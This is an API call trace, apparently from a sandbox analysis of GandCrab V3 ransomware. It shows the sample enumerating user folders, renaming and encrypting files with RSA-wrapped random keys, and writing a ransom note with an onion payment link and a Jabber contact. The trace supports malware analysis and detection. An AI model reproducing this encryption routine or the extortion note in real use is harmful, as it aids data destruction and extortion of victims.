	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="thumbs.db") returned 1
	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="CRAB-DECRYPT.txt") returned 1
	[0108.670] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.670] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\System Volume Information\\tracking.log.CRAB") returned 46
	[0108.670] GetFileAttributesW (lpFileName="C:\\System Volume Information\\tracking.log" (normalized: "c:\\system volume information\\tracking.log")) returned 0x26
	[0108.671] SetFileAttributesW (lpFileName="C:\\System Volume Information\\tracking.log", dwFileAttributes=0x26) returned 1
	[0108.671] MoveFileW (lpExistingFileName="C:\\System Volume Information\\tracking.log" (normalized: "c:\\system volume information\\tracking.log"), lpNewFileName="C:\\System Volume Information\\tracking.log.CRAB" (normalized: "c:\\system volume information\\tracking.log.crab")) returned 1
	[0108.674] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0108.674] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\System Volume Information\\tracking.log.CRAB" | out: lpString1="C:\\System Volume Information\\tracking.log.CRAB") returned="C:\\System Volume Information\\tracking.log.CRAB"
	[0108.674] lstrcatW (in: lpString1="C:\\System Volume Information\\tracking.log.CRAB", lpString2=".CRAB" | out: lpString1="C:\\System Volume Information\\tracking.log.CRAB.CRAB") returned="C:\\System Volume Information\\tracking.log.CRAB.CRAB"
	[0108.674] CryptAcquireContextW (in: phProv=0x314e828, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314e828*=0xd6e9e0) returned 1
	[0108.675] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.675] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.675] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314e964 | out: pbBuffer=0x314e964) returned 1
	[0108.675] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0108.675] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.675] CryptAcquireContextW (in: phProv=0x314e828, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314e828*=0xd6e408) returned 1
	[0108.675] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.676] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.676] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314e940 | out: pbBuffer=0x314e940) returned 1
	[0108.676] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.676] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.676] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0108.676] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0108.676] CryptAcquireContextW (in: phProv=0x314e818, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314e818*=0xd6e408) returned 1
	[0108.677] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314e814 | out: phKey=0x314e814*=0xd80160) returned 1
	[0108.677] CryptGetKeyParam (in: hKey=0xd80160, dwParam=0x8, pbData=0x314e804, pdwDataLen=0x314e80c, dwFlags=0x0 | out: pbData=0x314e804*=0x800, pdwDataLen=0x314e80c*=0x4) returned 1
	[0108.677] CryptEncrypt (in: hKey=0xd80160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314e974*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314e974*=0x100) returned 1
	[0108.677] GetLastError () returned 0x0
	[0108.677] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.677] CryptAcquireContextW (in: phProv=0x314e818, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314e818*=0xd6e408) returned 1
	[0108.677] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314e814 | out: phKey=0x314e814*=0xd80020) returned 1
	[0108.677] CryptGetKeyParam (in: hKey=0xd80020, dwParam=0x8, pbData=0x314e804, pdwDataLen=0x314e80c, dwFlags=0x0 | out: pbData=0x314e804*=0x800, pdwDataLen=0x314e80c*=0x4) returned 1
	[0108.677] CryptEncrypt (in: hKey=0xd80020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314e978*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314e978*=0x100) returned 1
	[0108.678] GetLastError () returned 0x0
	[0108.678] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.678] CreateFileW (lpFileName="C:\\System Volume Information\\tracking.log.CRAB" (normalized: "c:\\system volume information\\tracking.log.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0
	[0108.678] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0108.678] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0108.679] ReadFile (in: hFile=0x3b0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314e9bc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314e9bc*=0x5000, lpOverlapped=0x0) returned 1
	[0108.701] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0108.701] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0108.702] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.702] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xffffb000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.702] WriteFile (in: hFile=0x3b0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x314e9ac, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314e9ac*=0x5000, lpOverlapped=0x0) returned 1
	[0108.702] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.702] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.705] WriteFile (in: hFile=0x3b0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314e9ac, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314e9ac*=0x100, lpOverlapped=0x0) returned 1
	[0108.705] WriteFile (in: hFile=0x3b0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314e9ac, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314e9ac*=0x100, lpOverlapped=0x0) returned 1
	[0108.705] WriteFile (in: hFile=0x3b0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314e9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314e9ac*=0x8, lpOverlapped=0x0) returned 1
	[0108.706] CloseHandle (hObject=0x3b0) returned 1
	[0108.707] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.707] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.707] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.707] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.707] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.707] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.707] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0
	[0108.708] FindClose (in: hFindFile=0xd80360 | out: hFindFile=0xd80360) returned 1
	[0108.708] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0108.708] lstrcmpW (lpString1="Users", lpString2=".") returned 1
	[0108.708] lstrcmpW (lpString1="Users", lpString2="..") returned 1
	[0108.708] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users"
	[0108.708] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\"
	[0108.708] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.708] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.708] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.708] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.708] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.708] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.708] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ea08, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.708] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.708] lstrcmpiW (lpString1="C:\\Users\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.708] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314e1f0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.708] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.708] lstrcmpiW (lpString1="C:\\Users\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.708] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.708] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\\\CRAB-DECRYPT.txt") returned 26
	[0108.708] CreateFileW (lpFileName="C:\\Users\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.709] GetLastError () returned 0x50
	[0108.709] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.709] lstrlenW (lpString="C:\\Users\\") returned 9
	[0108.709] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*" | out: lpString1="C:\\Users\\*") returned="C:\\Users\\*"
	[0108.709] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0xd804e0
	[0108.709] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.709] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0108.709] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.709] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.709] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0108.709] lstrcmpW (lpString1="All Users", lpString2=".") returned 1
	[0108.709] lstrcmpW (lpString1="All Users", lpString2="..") returned 1
	[0108.709] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0108.709] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0108.709] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.709] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.709] FindNextFileW (in: hFindFile=0xd804e0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0108.709] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1
	[0108.709] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1
	[0108.710] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps"
	[0108.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\"
	[0108.710] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.710] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.710] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.710] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.710] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.710] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.710] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314df60, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.710] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.710] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d748, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.710] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.710] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.710] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.710] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\\\CRAB-DECRYPT.txt") returned 39
	[0108.710] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0
	[0108.711] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.711] WriteFile (in: hFile=0x3b0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314df44, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314df44*=0xcce, lpOverlapped=0x0) returned 1
	[0108.711] CloseHandle (hObject=0x3b0) returned 1
	[0108.711] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\") returned 22
	[0108.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\*"
	[0108.712] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*", lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0xd80560
	[0108.712] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.712] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0108.712] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.712] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.712] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0108.712] lstrcmpW (lpString1="AppData", lpString2=".") returned 1
	[0108.712] lstrcmpW (lpString1="AppData", lpString2="..") returned 1
	[0108.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData"
	[0108.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\"
	[0108.712] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.712] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.712] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.712] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.713] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.713] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.713] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\\\CRAB-DECRYPT.txt") returned 47
	[0108.713] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0108.713] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.713] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0108.714] CloseHandle (hObject=0x3d4) returned 1
	[0108.714] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.714] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned 30
	[0108.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*"
	[0108.714] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xd80120
	[0108.714] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.714] FindNextFileW (in: hFindFile=0xd80120, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0108.714] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.714] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.714] FindNextFileW (in: hFindFile=0xd80120, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0108.714] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0108.715] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0108.715] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\CRAB-DECRYPT.txt"
	[0108.715] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.715] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\CRAB-DECRYPT.txt") returned 46
	[0108.715] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\CRAB-DECRYPT.txt") returned 46
	[0108.715] lstrlenW (lpString=".txt") returned 4
	[0108.715] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.715] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0108.715] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.715] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\CRAB-DECRYPT.txt") returned 46
	[0108.715] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\CRAB-DECRYPT.txt") returned 46
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0108.715] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0108.715] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.716] FindNextFileW (in: hFindFile=0xd80120, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0108.716] lstrcmpW (lpString1="Local", lpString2=".") returned 1
